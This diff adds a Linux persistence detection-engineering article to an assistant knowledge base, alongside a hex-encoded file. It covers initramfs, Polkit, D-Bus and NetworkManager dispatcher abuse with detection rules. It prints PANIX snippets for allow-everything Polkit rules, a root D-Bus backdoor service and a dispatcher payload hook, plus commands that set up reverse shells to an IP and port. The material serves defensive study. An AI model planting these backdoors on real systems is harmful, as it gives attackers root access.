+[+] Custom dracut module directory removed. +[!] Rebuilding initramfs to remove modifications... +[...] +[+] Initramfs rebuilt successfully. +[!] Cleaning up temporary files... +[+] Temporary files cleaned up. +[+] Initramfs persistence reverted successfully. +``` + +# Hunting for T1542 - Initramfs: Modifying with Dracut + +We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the use of tools like Dracut. The approach includes monitoring for the following: + +1. **Execution of Dracut with Suspicious Arguments**: Tracks processes where Dracut is executed to regenerate or modify initramfs files, especially with non-standard arguments. This can help identify unauthorized attempts to modify initramfs. +2. **Creations and/or Modifications to Dracut Modules**: Monitors changes within `/lib/dracut/modules.d/` and `/usr/lib/dracut/modules.d/`, which store custom and system-wide Dracut modules. Unauthorized modifications here may indicate attempts to persist malicious functionality. +3. **General Kernel Manipulation Indicators**: Utilizes queries like monitoring `secureboot`, `kernel_info`, and file changes within `/boot/` to detect broader signs of kernel and bootloader manipulation that could be related to Initramfs abuse. + +By combining the [Persistence via Initramfs](https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_via_initramfs.toml) and [General Kernel Manipulation](https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_general_kernel_manipulation.toml) hunting rules and the tailored detection queries listed above, you can effectively identify and respond to [T1542](https://attack.mitre.org/techniques/T1542/). + +# T1543 - Create or Modify System Process: PolicyKit + +[PolicyKit (or Polkit)](https://linux.die.net/man/8/polkit) is a system service that provides an authorization framework for managing privileged actions in Linux systems. It enables fine-grained control over system-wide privileges, allowing non-privileged processes to interact with privileged ones securely. Acting as an intermediary between system services and users, Polkit determines whether a user is authorized to perform specific actions. For instance, it governs whether a user can restart network services or install software without requiring full sudo permissions. + +Polkit authorization is governed by rules, actions, and authorization policies: + +* **Actions**: Defined in XML files (`.policy`), these specify the operations Polkit can manage, such as [`org.freedesktop.systemd1.manage-units`](https://www.freedesktop.org/software/systemd/man/latest/org.freedesktop.systemd1.html). +* **Rules**: JavaScript-like files (`.rules`) determine how authorization is granted for specific actions. They can check user groups, environment variables, or other conditions. +* **Authorization Policies**: `.pkla` files set default or per-user/group authorizations for actions, determining whether authentication is required. + +The configuration files used by Polkit are found in several different locations, depending on the version of Polkit that is present on the system, and the Linux distribution that is active. The main locations you should know about: + +* Action definitions: + * `/usr/share/polkit-1/actions/` +* Rule definitions: + * `/etc/polkit-1/rules.d/` + * `/usr/share/polkit-1/rules.d/` +* Authorization definitions: + * `/etc/polkit-1/localauthority/` + * `/var/lib/polkit-1/localauthority/` + +A Polkit `.rules` file defines the logic for granting or denying specific actions. These files provide flexibility in determining whether a user or process can execute an action. Here’s a simple example: + +``` +polkit.addRule(function(action, subject) { + if (action.id == "org.freedesktop.systemd1.manage-units" && + subject.isInGroup("servicemanagers")) { + return polkit.Result.YES; + } + return polkit.Result.NOT_HANDLED; +}); +``` + +In this rule: + +* The action `org.freedesktop.systemd1.manage-units` (managing `systemd` services) is granted to users in the `servicemanagers` group. +* Other actions fall back to default handling. + +This structure allows administrators to implement custom policies, but it also opens the door for attackers who can insert overly permissive rules to gain unauthorized privileges. + +Currently, Polkit does not have a dedicated technique in the MITRE ATT&CK framework. The closest match is [T1543: Create or Modify System Process](https://attack.mitre.org/techniques/T1543/), which describes adversaries modifying system-level processes to achieve persistence or privilege escalation. + +In the next section, we will explore step-by-step how attackers can craft and deploy malicious Polkit rules and authorization files, while also discussing detection and mitigation strategies. + +# Persistence through T1543 - Create or Modify System Process: PolicyKit + +Now that we understand the theory, let’s take a look at how to simulate this in practice through the [setup_polkit.sh](https://github.com/Aegrah/PANIX/blob/7e27768807e12d11932e2fca5b6a4867308295dd/modules/setup_polkit.sh) PANIX module. First, the module checks the active Polkit version through the `pkaction --version` command, as versions \< 0.106 use the older `.pkla` files, while newer versions (\>= 0.106) use the more recent `.rules` files. Depending on the version, the module will continue to create the Polkit policy that is overly permissive. For versions \< 0.106 a `.pkla` file is created in `/etc/polkit-1/localauthority/50-local.d/`: + +``` +mkdir -p /etc/polkit-1/localauthority/50-local.d/ + +# Write the .pkla file +cat <<-EOF > /etc/polkit-1/localauthority/50-local.d/panix.pkla +[Allow Everything] +Identity=unix-user:* +Action=* +ResultAny=yes +ResultInactive=yes +ResultActive=yes +EOF +``` + +Allowing any `unix-user` to do any action through the `Identity=unix-user:*` and `Action=*` parameters. + +For versions \>= 0.106 a `.rules` file is created in `/etc/polkit-1/rules.d/`: + +``` +mkdir -p /etc/polkit-1/rules.d/ + +# Write the .rules file +cat <<-EOF > /etc/polkit-1/rules.d/99-panix.rules +polkit.addRule(function(action, subject) { + return polkit.Result.YES; +}); +EOF +``` + +Where an overly permissive policy always returns `polkit.Result.YES`, which means that any action that requires Polkit’s authentication will be allowed by anyone. + +Polkit rules are processed in lexicographic (ASCII) order, meaning files with lower numbers load first, and later rules can override earlier ones. If two rules modify the same policy, the rule with the higher number takes precedence because it is evaluated last. To ensure the rule is executed and overrides others, PANIX creates it with a filename starting with 99 (e.g. `99-panix.rules`). + +Let’s run the PANIX module with the following command line arguments: + +``` +> sudo ./panix.sh --polkit + +[!] Polkit version < 0.106 detected. Setting up persistence using .pkla files. +[+] Persistence established via .pkla file. +[+] Polkit service restarted. +[!] Run pkexec su - to test the persistence. +``` + +And take a look at the logs in Kibana: + +![PANIX Polkit module execution visualized in Kibana](/assets/images/the-grand-finale-on-linux-persistence/image2.png) + +Upon execution of PANIX, we can see the `pkaction --version` command being issued to determine whether a `.pkla` or `.rules` file approach is needed. After figuring this out, the correct policy is created, and the `polkit` service is restarted (this is not always necessary however). Once these policies are in place, a user with a `user.Ext.real.id` of `1000` (not-root) is capable of obtaining root privileges by executing the `pkexec su -` command. + +Let’s take a look at our detection opportunities: + +*Detection and endpoint rules that cover Polkit persistence* + +| Category | Coverage | +| :---- | :---- | +| File | [Polkit Policy Creation](https://github.com/elastic/detection-rules/blob/cf183579b46dae3ebd294098b330341a98691fd0/rules/linux/persistence_polkit_policy_creation.toml) | +| | [Potential Persistence via File Modification](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/integrations/fim/persistence_suspicious_file_modifications.toml) | +| Process | [Polkit Version Discovery](https://github.com/elastic/detection-rules/blob/cf183579b46dae3ebd294098b330341a98691fd0/rules/linux/discovery_polkit_version_discovery.toml) | +| | [Unusual Pkexec Execution](https://github.com/elastic/detection-rules/blob/cf183579b46dae3ebd294098b330341a98691fd0/rules/linux/execution_unusual_pkexec_execution.toml) | + +To revert any changes, you can use the corresponding revert module by running: + +``` +> ./panix.sh --revert polkit + +[+] Checking for .pkla persistence file... +[+] Removed file: /etc/polkit-1/localauthority/50-local.d/panix.pkla +[+] Checking for .rules persistence file... +[-] .rules file not found: /etc/polkit-1/rules.d/99-panix.rules +[+] Restarting polkit service... +[+] Polkit service restarted successfully. +``` + +# Hunting for T1543 - Create or Modify System Process: PolicyKit + +We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the modification of PolicyKit configuration files and rules. The approach includes hunting for the following: + +1. **Creations and/or Modifications to PolicyKit Configuration Files**: Tracks changes in critical directories containing custom and system-wide rules, action descriptions and authorizations rules. Monitoring these paths helps identify unauthorized additions or tampering that could indicate malicious activity. +2. **Metadata Analysis of PolicyKit Files**: Inspects file ownership, access times, and modification timestamps for PolicyKit-related files. Unauthorized changes or files with unexpected ownership can indicate an attempt to persist or escalate privileges through PolicyKit. +3. **Detection of Rare or Anomalous Events**: Identifies uncommon file modification or creation events by analyzing process execution and correlation with file activity. This helps surface subtle indicators of compromise. + +By combining the [Persistence via PolicyKit](https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_via_policykit.toml) hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to [T1543](https://attack.mitre.org/techniques/T1543/). + +# T1543 - Create or Modify System Process: D-Bus + +[D-Bus (Desktop Bus)](https://linux.die.net/man/1/dbus-daemon) is an [inter-process communication (IPC)](https://www.geeksforgeeks.org/inter-process-communication-ipc/) system widely used in Linux and other Unix-like operating systems. It serves as a structured message bus, enabling processes, system services, and applications to communicate and coordinate actions. As a cornerstone of modern Linux environments, D-Bus provides the framework for both system-wide and user-specific communication. + +At its core, D-Bus facilitates interaction between processes by providing a standardized mechanism for sending and receiving messages, eliminating the need for custom IPC solutions while improving efficiency and security. It operates through two primary communication channels: + +* **System Bus**: Used for communication between system-level services and privileged operations, such as managing hardware or network configuration. +* **Session Bus**: Used for communication between user-level applications, such as desktop notifications or media players. + +A D-Bus daemon manages the message bus, ensuring messages are routed securely between processes. Processes register themselves on the bus with unique names and provide interfaces containing methods, signals, and properties for other processes to interact with. The core components of D-Bus communication looks as follows: + +**Interfaces**: + +* Define a collection of methods, signals, and properties a service offers. +* Example: [`org.freedesktop.NetworkManager`](https://networkmanager.dev/docs/api/latest/gdbus-org.freedesktop.NetworkManager.html) provides methods to manage network connections. + +**Methods**: + +* Allow external processes to invoke specific actions or request information. +* Example: The method `org.freedesktop.NetworkManager.Reload` can be called to reload a network service. + +**Signals**: + +* Notifications sent by a service to inform other processes about events. +* Example: A signal might indicate a network connection status change. + +As an example, the following command sends a message to the system bus to invoke the `Reload` method on the `NetworkManager` service: + +``` +dbus-send --system --dest=org.freedesktop.NetworkManager /org/freedesktop/NetworkManager org.freedesktop.NetworkManager.Reload uint32:0 +``` + +D-Bus services are applications or daemons that register themselves on the bus to provide functionality. If a requested service is not running, the D-Bus daemon can start it automatically using predefined service files. + +These services use service files with a `.service` extension to tell D-Bus how to start a service. For example: + +``` +[D-BUS Service] +Name=org.freedesktop.MyService +Exec=/usr/bin/my-service +User=root +``` + +D-Bus service files can be located in several different locations, depending on whether these services are running system-wide or at the user-level, and depending on the architecture and Linux distribution. The following is an overview of locations that are used, which is not an exhaustive list, as different distributions use different default locations: + +1. **System-wide Configuration and Services**: + * System service files: + * `/usr/share/dbus-1/system-services/` + * `/usr/local/share/dbus-1/system-services/` + * System policy files: + * `/etc/dbus-1/system.d/` + * `/usr/share/dbus-1/system.d/` + * System configuration files: + * `/etc/dbus-1/system.conf` + * `/usr/share/dbus-1/system.conf` +2. **Session-wide Configuration and Services**: + * Session service files: + * `/usr/share/dbus-1/session-services/` + * `~/.local/share/dbus-1/services/` + * Session policy files: + * `/etc/dbus-1/session.d/` + * `/usr/share/dbus-1/session.d/` + * Session configuration files: + * `/etc/dbus-1/session.conf` + * `/usr/share/dbus-1/session.conf` + +More details on each path is available [here](https://dbus.freedesktop.org/doc/dbus-daemon.1.html). D-Bus policies, written in XML, define access control rules for D-Bus services. These policies specify who can perform actions such as sending messages, receiving responses, or owning specific services. They are essential for controlling access to privileged operations and ensuring that services are not misused. There are several key components to a D-Bus policy: + +1. **Context**: +* Policies can apply to specific users, groups, or a default context (`default` applies to all users unless overridden). +2. **Allow/Deny Rules**: +* Rules explicitly grant (`allow`) or restrict (`deny`) access to methods, interfaces, or services. +3. **Granularity**: +* Policies can control access at multiple levels: + * Entire services (e.g., `org.freedesktop.MyService`). + * Specific methods or interfaces (e.g., `org.freedesktop.MyService.SecretMethod`). + +The following example demonstrates a D-Bus policy that enforces clear access restrictions: + +``` + + + + + + + + + + + + + + + + + +``` + +This policy: + +1. Denies all access to the service `org.freedesktop.MyService` by default. +2. Grants users in the `admin` group access to a specific interface (`org.freedesktop.MyService.PublicMethod`). +3. Grants full access to the `org.freedesktop.MyService` destination for the `root` user. + +D-Bus’s central role in IPC makes it a potential interesting target for attackers. Potential attack vectors include: + +1. **Hijacking or Registering Malicious Services**: + * Attackers can replace or add `.service` files in e.g. `/usr/share/dbus-1/system-services/` to hijack legitimate communication or inject malicious code. +2. **Creating or Exploiting Over-permissive Policies**: + * Weak policies (e.g., granting all users access to critical services) can allow attackers to invoke privileged methods. +3. **Abusing Vulnerable Services**: + * If a D-Bus service improperly validates input, attackers may execute arbitrary code or perform unauthorized actions. + +The examples above can be used for privilege escalation, defense evasion and persistence. Currently, there is no specific MITRE ATT&CK sub-technique for D-Bus. However, its abuse aligns closely with [T1543: Create or Modify System Process](https://attack.mitre.org/techniques/T1543/), as well as [T1574: Hijack Execution Flow](https://attack.mitre.org/techniques/T1574/) for cases where `.service` files are modified. + +In the next section we will take a look at how an attacker can set up overly permissive D-Bus configurations that send out reverse connections with root permissions, while discussing approaches to detecting this behavior. + +# Persistence through T1543 - Create or Modify System Process: D-Bus + +Now that we've learnt all about D-Bus setup, it’s time to take a look at how to simulate this in practice through the [setup_dbus.sh](https://github.com/Aegrah/PANIX/blob/7e27768807e12d11932e2fca5b6a4867308295dd/modules/setup_dbus.sh) PANIX module. PANIX starts off by creating a D-Bus service file at `/usr/share/dbus-1/system-services/org.panix.persistence.service` with the following contents: + +``` +cat <<'EOF' > "$service_file" +[D-BUS Service] +Name=org.panix.persistence +Exec=/usr/local/bin/dbus-panix.sh +User=root +EOF +``` + +This service file will listen on the `org.panix.persistence` interface, and execute the `/usr/local/bin/dbus-panix.sh` “service”. The `dbus-panix.sh` script simply invokes a reverse shell connection when called: + +``` +cat < "$payload_script" +#!/bin/bash +# When D-Bus triggers this service, execute payload. +${payload} +EOF +``` + +To ensure any user is allowed to invoke the actions corresponding to the interface, PANIX sets up a `/etc/dbus-1/system.d/org.panix.persistence.conf` file with the following contents: + +``` +cat <<'EOF' > "$conf_file" + + + + + + + + + +EOF +``` + +This configuration defines a D-Bus policy that permits any user or process to own, send messages to, and interact with the `org.panix.persistence` service, effectively granting unrestricted access to it. After restarting the `dbus` service, the setup is complete. + +To interact with the service, the following command can be used: + +``` +dbus-send --system --type=method_call / +--dest=org.panix.persistence /org/panix/persistence / +org.panix.persistence.Method +``` + +This command sends a method call to the D-Bus system bus, targeting the `org.panix.persistence` service, invoking the `org.panix.persistence.Method` method on the `/org/panix/persistence` object, effectively triggering the backdoor. + +Let’s run the PANIX module with the following command line arguments: + +``` +> sudo ./panix.sh --dbus --default --ip 192.168.1.100 --port 2016 + +[+] Created/updated D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service +[+] Created/updated payload script: /usr/local/bin/dbus-panix.sh +[+] Created/updated D-Bus config file: /etc/dbus-1/system.d/org.panix.persistence.conf +[!] Restarting D-Bus... +[+] D-Bus restarted successfully. +[+] D-Bus persistence module completed. Test with: + +dbus-send --system --type=method_call --print-reply / +--dest=org.panix.persistence /org/panix/persistence / +org.panix.persistence.Method +``` + +Upon execution of the `dbus-send` command: + +``` +dbus-send --system --type=method_call --print-reply / +--dest=org.panix.persistence /org/panix/persistence / +org.panix.persistence.Method +``` + +We will take a look at the documents in Kibana: + +![PANIX D-Bus module execution visualized in Kibana](/assets/images/the-grand-finale-on-linux-persistence/image4.png) + +Upon PANIX execution, the `org.panix.persistence.service`, `dbus-panix.sh`, and `org.panix.persistence.conf` files are created, successfully setting the stage. Afterwards, the `dbus` service is restarted, and the dbus-send command is executed to interact with the `org.panix.persistence` service. Upon invocation of the `org.panix.persistence.Method` method, the `dbus-panix.sh` backdoor is executed, and the reverse shell connection chain (`dbus-panix.sh` → `nohup` → `setsid` → `bash`) is initiated. + +Let’s take a look at our detection opportunities: + +*Detection and endpoint rules that cover D-Bus persistence* + +| Category | Coverage | +| :---- | :---- | +| File | [D-Bus Service Created](https://github.com/elastic/detection-rules/blob/fb13b89f8d277ee78d4027a8014ad67023aa167c/rules/linux/persistence_dbus_service_creation.toml) | +| | [Potential Persistence via File Modification](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/integrations/fim/persistence_suspicious_file_modifications.toml) | +| Process | [Suspicious D-Bus Method Call](https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/execution_suspicious_d_bus_method_call.toml) | +| | [Unusual D-Bus Daemon Child Process](https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/rules/linux/persistence_dbus_unsual_daemon_parent_execution.toml) | + +To revert any changes, you can use the corresponding revert module by running: + +``` +> ./panix.sh --revert dbus + +[*] Reverting D-Bus persistence module... +[+] Removing D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service... +[+] D-Bus service file removed. +[+] Removing payload script: /usr/local/bin/dbus-panix.sh +[+] Payload script removed. +[+] Removing D-Bus configuration file: /etc/dbus-1/system.d/org.panix.persistence.conf... +[+] D-Bus configuration file removed. +[*] Restarting D-Bus... +[+] D-Bus restarted successfully. +[+] D-Bus persistence reverted. +``` + +# Hunting for T1543 - Create or Modify System Process: D-Bus + +We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the use and modification of D-Bus-related files, services, and processes. The approach includes monitoring for the following: + +1. **Creations and/or Modifications to D-Bus Configuration and Service Files**: Tracks changes in critical directories, such as system-wide and session service files and policy files. Monitoring these paths helps detect unauthorized additions or modifications that may indicate malicious activity targeting D-Bus. +2. **Metadata Analysis of D-Bus Files**: Inspects file ownership, last access times, and modification timestamps for D-Bus configuration files. This can reveal unauthorized changes or the presence of unexpected files that may indicate attempts to persist through D-Bus. +3. **Detection of Suspicious Processes**: Monitors executions of processes such as `dbus-daemon` and `dbus-send`, which are key components of D-Bus communication. By tracking command lines, parent processes, and execution counts, unusual or unauthorized usage can be identified. +4. **Detection of Rare or Anomalous Events**: Identifies uncommon file modifications or process executions by correlating event data across endpoints. This highlights subtle indicators of compromise, such as rare changes to critical D-Bus configurations or the unexpected use of D-Bus commands. + +By combining the [Persistence via Desktop Bus (D-Bus)](https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_via_desktop_bus.toml) hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to [T1543](https://attack.mitre.org/techniques/T1543/). + +# T1546 - Event Triggered Execution: NetworkManager + +[NetworkManager](https://wiki.archlinux.org/title/NetworkManager) is a widely used daemon for managing network connections on Linux systems. It allows for configuring wired, wireless, VPN, and other network interfaces while offering a modular and extensible design. One of its lesser-known but powerful features is its [dispatcher](https://wiki.archlinux.org/title/NetworkManager#Network_services_with_NetworkManager_dispatcher) feature, which provides a way to execute scripts automatically in response to network events. When certain network events occur (e.g., an interface comes up or goes down), NetworkManager invokes scripts located in this directory. These scripts run as root, making them highly privileged. + +* **Event Types**: NetworkManager passes specific events to scripts, such as: + * `up`: Interface is activated. + * `down`: Interface is deactivated. + * `vpn-up`: VPN connection is established. + * `vpn-down`: VPN connection is disconnected. + +Scripts placed in `/etc/NetworkManager/dispatcher.d/` are standard shell scripts and must be marked executable. An example of a dispatcher script may look like this: + +``` +#!/bin/bash +INTERFACE=$1 +EVENT=$2 + +if [ "$EVENT" == "up" ]; then + logger "Interface $INTERFACE is up. Executing custom script." + # Perform actions, such as logging, mounting, or starting services + /usr/bin/some-command --arg value +elif [ "$EVENT" == "down" ]; then + logger "Interface $INTERFACE is down. Cleaning up." + # Perform cleanup actions +fi +``` + +Logging events and executing commands whenever a network interface comes up or goes down. + +To achieve persistence through this technique, an attacker can either: + +* Create a custom script, mark it executable and place it within the dispatcher directory +* Modify a legitimate dispatcher script to execute a payload upon a certain network event. + +Persistence through `dispatcher.d/` aligns with [T1546: Event Triggered Execution](https://attack.mitre.org/techniques/T1546/) and [T1543: Create or Modify System Process](https://attack.mitre.org/techniques/T1543/) in the MITRE ATT&CK framework. NetworkManager dispatcher scripts however do not have their own sub-technique. + +In the next section, we will explore how dispatcher scripts can be exploited for persistence and visualize the process flow to support effective detection engineering. + +# Persistence through T1546 - Event Triggered Execution: + +The concept of this technique is very simple, let’s now put it to practice through the [setup_network_manager.sh](https://github.com/Aegrah/PANIX/blob/7e27768807e12d11932e2fca5b6a4867308295dd/modules/setup_network_manager.sh) PANIX module. The module checks whether the NetworkManager package is available, and whether the `/etc/NetworkManager/dispatcher.d/` path exists, as these are requisites for the technique to work. Next, it creates a new dispatcher file under `/etc/NetworkManager/dispatcher.d/panix-dispatcher.sh`, with a payload on the end. Finally, it grants execution permissions to the dispatcher file, after which it is ready to be activated. + +``` +cat <<'EOF' > "$dispatcher_file" +#!/bin/sh -e + +if [ "$2" = "connectivity-change" ]; then + exit 0 +fi + +if [ -z "$1" ]; then + echo "$0: called with no interface" 1>&2 + exit 1 +fi + +[...] + +# Insert payload here: +__PAYLOAD_PLACEHOLDER__ +EOF + +chmod +x "$dispatcher_file" +``` + +We have included only the most relevant snippets of the module above. Feel free to check out the module source code if you are interested in diving deeper. + +Let’s run the PANIX module with the following command line arguments: + +``` +> sudo ./panix.sh --network-manager --default --ip 192.168.1.100 --port 2017 + +[+] Created new dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh +[+] Replaced payload placeholder with actual payload. +[+] Using dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh +``` + +Now, whenever a new network event triggers, the payload will be executed. This can be done through restarting the NetworkManager service, an interface or a reboot. Let’s take a look at the documents in Kibana: + +![PANIX network-manager module execution visualized in Kibana](/assets/images/the-grand-finale-on-linux-persistence/image1.png) + +Upon PANIX execution, the `panix-dispatcher.sh` script is created, marked as executable and `sed` is used to add the payload to the bottom of the script. Upon restarting the `NetworkManager` service through `systemctl`, we can see `nm-dispatcher` executing the `panix-dispatcher.sh` script, effectively detonating the reverse shell chain (`panix-dispatcher.sh` → `nohup` → `setsid` → `bash`). + +And finally, let’s take a look at our detection opportunities: + +*Detection and endpoint rules that cover network-manager persistence* + +| Category | Coverage | +| :---- | :---- | +| File | [NetworkManager Dispatcher Script Creation](https://github.com/elastic/detection-rules/blob/9b8b9175985ed533493e2c9dc4dc17ee8bf9e704/rules/linux/persistence_network_manager_dispatcher_persistence.toml) | +| | [Potential Persistence via File Modification](https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/integrations/fim/persistence_suspicious_file_modifications.toml) | +| Process | [Shell via NetworkManager Dispatcher Script](https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/execution_shell_via_networkmanager_dispatcher_script.toml) | +| Network | [Reverse Shell via NetworkManager Dispatcher Script](https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/execution_reverse_shell_via_networkmanager_dispatcher_script.toml) | + +To revert any changes, you can use the corresponding revert module by running: + +``` +> ./panix.sh --revert network-manager + +[+] Checking for payload in /etc/NetworkManager/dispatcher.d/01-ifupdown... +[+] No payload found in /etc/NetworkManager/dispatcher.d/01-ifupdown. +[+] Removing custom dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh... +[+] Custom dispatcher file removed. +[+] NetworkManager persistence reverted. +``` + +# Hunting for T1546 - Event Triggered Execution: NetworkManager + +We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the creation, modification, and execution of NetworkManager Dispatcher scripts. The approach includes monitoring for the following: + +1. **Creations and/or Modifications to Dispatcher Scripts**: Tracks changes within the `/etc/NetworkManager/dispatcher.d/` directory. Monitoring for new or altered scripts helps detect unauthorized additions or modifications that could indicate malicious intent. +2. **Detection of Suspicious Processes**: Monitors processes executed by `nm-dispatcher` or scripts located in `/etc/NetworkManager/dispatcher.d/`. By analyzing command lines, parent processes, and execution counts, unusual or unauthorized script executions can be identified. +3. **Metadata Analysis of Dispatcher Scripts**: Inspects ownership, last access times, and modification timestamps for files in `/etc/NetworkManager/dispatcher.d/`. This can reveal unauthorized changes or anomalies in file attributes that may indicate persistence attempts. + +By combining the [Persistence via NetworkManager Dispatcher Script](https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_via_network_manager_dispatcher_script.toml) hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to [T1546](https://attack.mitre.org/techniques/T1546/). + +# Conclusion + +In the fifth and concluding chapter of the "Linux Detection Engineering" series, we turned our attention to persistence mechanisms rooted in the Linux boot process, authentication systems, inter-process communication, and core utilities. We began with GRUB-based persistence and the manipulation of initramfs, covering both manual approaches and automated methods using Dracut. Moving further, we explored Polkit-based persistence, followed by a dive into D-Bus exploitation, and concluded with NetworkManager dispatcher scripts, highlighting their potential for abuse in persistence scenarios. + +Throughout this series, [PANIX](https://github.com/Aegrah/PANIX) played a critical role in demonstrating and simulating these techniques, allowing you to test your detection capabilities and strengthen your defenses. Combined with the tailored ES|QL and OSQuery queries provided, these tools enable you to identify and respond effectively to even the most advanced persistence mechanisms. + +As we close this series, we hope you feel empowered to tackle Linux persistence threats with confidence. Armed with practical knowledge, actionable strategies, and hands-on experience, you are well-prepared to defend against adversaries targeting Linux environments. Thank you for joining us, and as always, stay vigilant and happy hunting! diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/the_shelby_strategy.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/the_shelby_strategy.encoded.md new file mode 100644 index 0000000000000..5e49fde55495c --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/the_shelby_strategy.encoded.md @@ -0,0 +1 @@ +7c7ff9102ac2828952760a3dfd9e88c095214c843588d57c660bd4b819e5fc118a148119e703e2f7a919cf189a9571e41816a45ac87636623d46b5af5a25553642791d216e95e8fd8f8365b0d55d9c326f2f4b138d969828ae81b6527765ff030f49b6d1f4f041aad074d83c8b54649d80cabbb091edb04ed2e9ea2d00582cd57a3be9b3f0d619fec5f46b947e307c36e1469cfb40b6dced4d5a68274f317c74031b97e924b5efea3351e6daf38011dfb5f4de9f46baf35b4cc15e7a18ab250373e7b026a05a805958ac537af7f1f69f2b37e1c4fb80fcaa436d51c6b02571742bde377177532d23d77de29332aa20769824195d577361b56cf0c89c89fbeb5b952f6c30e9702c5bffba4f0c97e4ed33df0dba19b4121cffce1259d66cbf84edd570fbc4f8f6d41ec7024714b92549ab24174e29c0a4d3b58e68b2fc7e0a0078b799c6db022af806c9ca2b183d1a7d41537ef0fa797bf9e6bc993b22a0fcb9ddb221d71583f780d9b56aac61b9b14ef83654e96891265097e34ec296c5fb5108f5eaada70f2df1d699545d759fbeaba5e32b91a34356a1b0368c09c44e2706247c96f429a5b46d3a37f0c4814fd441540882ea0ef2f79817c89ec832144bd1aefdf8d549f799a1727b9b123a1a96ef4735c5017cf9acc790996e8b84555926ad944715b9ce58d705b4d312efc9621c621b4854c2dcc553b31d61fa54d0d91ecd550e466ae62531092b337aa8fa5677ad2d758046beaf7e8ddbb0280f90afc563da679816d72492dca2eab77ce7af3b812e06592bdaa4c11d33e99497b476dd71592dfaf309da2ad43fa6cbf2c5060900114fb9f5e6541ce2f3ac1784d9609403dca5d44b4644b4318759c28aeb038e88b33f01c28df162bded14933922046722112e0e6c691c98a9d1c66415d8452ab0552e4ce75971d40b932ff7b41f94fcacde53e0b94c15bac9871ee62a0e15e51dfdeeaa589f66bf72143dc638fd29bac2efd6bb0d0e09062e833221687dac74248ea8605577b236dca7728bf40bb065e2e10f0d8ff16ad6668f46f1d3f1b6c3fa05b9ce1b4b53f5d7d2145ac995df196e7cca76967cfc278771b4dc09276dbe5ffbff665503b7bcd558faea67b5cc31cd81434e35d4eea1b3ea0dee31d4cf55017016f1eba1dc5c081dfb167f5847677e8320578f851404a7d1b5e0ff45e24fbafc584cc4c07325d189ed429f4674ea342ff7777e3c742b6cfd23d081985bca820ddd6a0db38d4d2934e8772bfbeec4b09a7f78941b3d0d7bc0754d6251844758e8f73856e971e7ed8b4a989f1bb6cb3cc6517db76da75b9c25b817086755b141c4899c33bba312061b686f64456d1bca67dbc1908f90fa340c5bb360738689b773dab7e52328b0d127be8197d6bbdddf5ea6521e2eae95ce42f3eb41ff77887460e4fa1e783996e9eb253303d4b94f24c6ebf738f98e3a7a89f66b82431ae5054260319f4e1fb1455c711ba7a1c75302b4a16f2f8768e0d6111da9d9397c9e4929ae0d921a41ef2c21f38d82de8c25c8f8668d4a0b37c5cb12d6a7cc88b308cd682c640c63d1db9e843815423a3117275bf6d2d656781d37b434325b978e928451e17e1b22e3cef172c5ed61e5734c4d73e038d78516fb86af4770440fdfc69dbc0defdd7bef6923737d449da88849894512bc1dffc109ebf8ab0aa74c96210cb3ac6dcbbfb3fa28c46b623ceef1b1387d3b5c81f31d8dbc2527fe2618877a595b9c61dc3a3440b5c5ac1b5e50bcfbf0cee3e6e4321f8510c3173b6ee7dcf191ae9a98891bd9acb1832539aef596b31a6b0edd8e6b01a863e0f8e3b94f88b3c3ccfdb6918979529fb78994e7fd73440228f6c86fc2795c5311fef14aed2a25c632f27610c39996b2bcbb8ec0dfd6936d3dfe70b1412786369911d4dbe88e2445611d79c667c5b433f54627d60c0eb1c65cef716859f20ac4a80672e9b0ea484110d27e6954ef4a8b61805b53d88bc584aed488f04b7b0d42b98a543205dbc325d875855b7452003575e3ed33848c92055790ef772ab6e8f09ae57e113b23d43f97cd060d46a7b74029d1c8a2c802029ed9b93bfef3f6efa92507cdb446497a27a67683568baee0a355c775518bf3f97fb0397d5aee43560e9908eb9ddc4a7aa39791d3f9252c5e7d3d993000899df9680ab6a2147d98056a66f49bcbad2bb726995e87a07e54d9ec24efd2825eb8d2df0604c677d37c3fa18035adfd2d31de795f9ad8789d126ccfb6fe7e45681bf680c3f0ba7e83af672bd6cf8679b89bee21abff6cf189003b50ce87a552cfe66eec64cccca87ff30b6d077b8a8f6ab15a1b24be3dd4caaf695035b3b556613428441cf9a5c8e9516ac76c852fcc9523f303f3f1de3b469ea6f6c6b50e819de073c8af1bcc49fdc4e8346ca808dba9c6bc